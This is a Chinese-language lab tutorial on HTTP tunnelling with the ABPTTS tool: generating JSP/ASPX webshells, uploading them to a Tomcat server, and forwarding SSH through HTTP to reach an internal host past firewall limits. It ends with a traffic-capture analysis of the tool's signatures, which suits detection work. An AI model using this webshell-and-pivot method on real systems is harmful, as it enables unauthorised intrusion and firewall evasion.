Http隧道
介绍
通过HTTP协议与代理服务器建立连接,把所有要传送的数据全部封装到HTTP协议里进行传送,协议中包含有要连接的远程主机的IP和端口,连接成功之后会返回给客户端200,表示验证通过。HTTP隧道用于在被限制的网络连接(包括防火墙、NAT和ACL)以及其他限制的情况下在两台计算机之间建立网络链接。
适用环境
获取webshell的主机位于内网,并且该内网主机的icmp、dns、tcp和udp协议等都不能出网,唯一的数据通道是webshell搭建正向代理。
abptts
abptts是一款基于ssl加密的http隧道工具。全程通信数据加密有效对抗检测。
将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是,abptts是全加密。
只支持aspx和jsp。不支持php
环境搭建
网络情况
虚拟机之间都采用桥接模式,能够互相访问到。tomcat服务器和一个虚拟机组成内网环境。tomcat服务器采用两个网卡。一个对内,形成内网环境,一个对外,可以被kali访问到。
攻击机 Kali Linux 2022.3 amd64 【搭建在MacBookPro上,x86架构】 IP:192.168.0.101
tomcat 服务器 CentOs-Steam-9 Arm64 【搭建在Mac mini pd虚拟机上,ARM架构】外网IP:192.168.0.102 内网IP:10.37.129.1
ubuntu 内网机 【搭建在Mac mini pd虚拟机上,ARM架构】 IP:10.37.129.3
连通情况
kali可以ping通192.168.0.102,可以访问到192.168.0.102:8080的tomcat服务器。
kali无法访问内网机器10.37.129.3
思路整理
攻击机A(kali)拿到了服务器B(tomcat centos)的权限。B通过22端口去连接内网机器C(ubuntu),然后把B的22端口映射到攻击机A的某端口上。实现了隧道技术。这样去访问A的那个映射端口,就相当于访问B的22端口。这样走的是http协议。就可以破解了它的限制。(限制udp、tcp这些不能出网)
攻击机kali
可选
需要python2、pip2的版本
1
2 sudo hwclock --hctosys
sudo apt-get update
安装pip2的方法
1 | wget https://bootstrap.pypa.io/pip/2.7/get-pip.py |
1 | export PATH=/home/<usrname>/.local/bin:$PATH # 添加到普通用户 |
安装httplib2
1 | pip install httplib2 |
安装crypto组件
1 | pip install -i https://pypi.douban.com/simple/ pycryptodome |
下载abptts
1 | git clone https://github.com/nccgroup/ABPTTS.git |
生成对应webshell,会在当前目录下生成webshell文件,里面存放着jsp和aspx的webshell文件
1 | python2 abpttsfactory.py -o webshell |
ubuntu上面的安装方法
ubuntu服务器
安装python2
1
2
3 wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python get-pip.py
pip -V安装httplib2
1 pip install httplib2安装crypto组件
1 pip install -i https://pypi.douban.com/simple/ pycryptodome安装abptts
1 git clone https://github.com/nccgroup/ABPTTS.git生成webshell
1 python2 abpttsfactory.py -o webshell
内网机器 centos
安装tomcat
下载tomcat,选用了8.0版本
安装Java
https://www.oracle.com/java/technologies/downloads/#java8
登录下载需要的java包,选tar.gz的
把java包放进centos,解压到javaweb目录下
1
tar -zxv -f jdk-8u341-linux-aarch64.tar.gz -C /usr/local/java
设置环境变量
1
vim /etc/profile
添加
1
2
3
4export JAVA_HOME=/usr/local/java/jdk1.8.0_341
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH使文件生效
1
source /etc/profile
添加软链接
1
ln -s /usr/local/java/jdk1.8.0_341/bin/java /usr/bin/java
检查
1
java -version
安装tomcat
新建tomcat文件夹
1
2mkdir /usr/local/Tomcat8
tar -zxvf apache-tomcat-8.5.82.tar.gz -C /usr/local/Tomcat8/提权
1
chmod +x /usr/local/Tomcat8/apache-tomcat-8.5.82/bin/*.sh
启动tomcat
1
2cd /usr/local/Tomcat8/apache-tomcat-8.5.82/bin
./startup.sh访问站点
1
curl 127.0.0.1:8080
使其他机器可以访问到它的网站
防火墙的一些设置
1
2
3
4sudo dnf install firewalld -y
systemctl unmask firewalld
sudo systemctl enable firewalld --now
systemctl status firewalld1
2
3firewall-cmd --permanent --zone=public --add-port=8080/tcp
firewall-cmd --reload
firewall-cmd --zone=public --query-port=8080/tcp同一个局域网的机器可以成功访问到centos上面的tomcat
攻击过程
kali
将生成的webshell,上传到tomcat服务器(采用scp上传就可以)
1 | cd ABPTTS/webshell |
上传成功
tomcat服务器centos
ssh链接内网机器
1 | ssh [email protected] |
kali
把centos tomcat的22端口映射到攻击机的7777端口上
1 | cd ABPTTS |
在攻击机上使用ssh链接127.0.0.1:7777就直连到centos tomcat机器上了
1 | ssh [email protected] -p 7777 |
抓包分析
在tomcat centos 服务器上,监听外网网口。kali连接。抓取流量包分析
走的是http协议
追踪http数据流,发现请求头里都包含以下流量特征:
是解密用的key
1 | HorrendousDepartment= |
有一个特殊字段
1 | x-nearness-ennobling-auditioned: tJRfAOSJ28HF71+Ah/1GrM7mmOBjbe4CnmjTQV7dgiM= |
固定的user-agent
1 | user-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.0.3705) |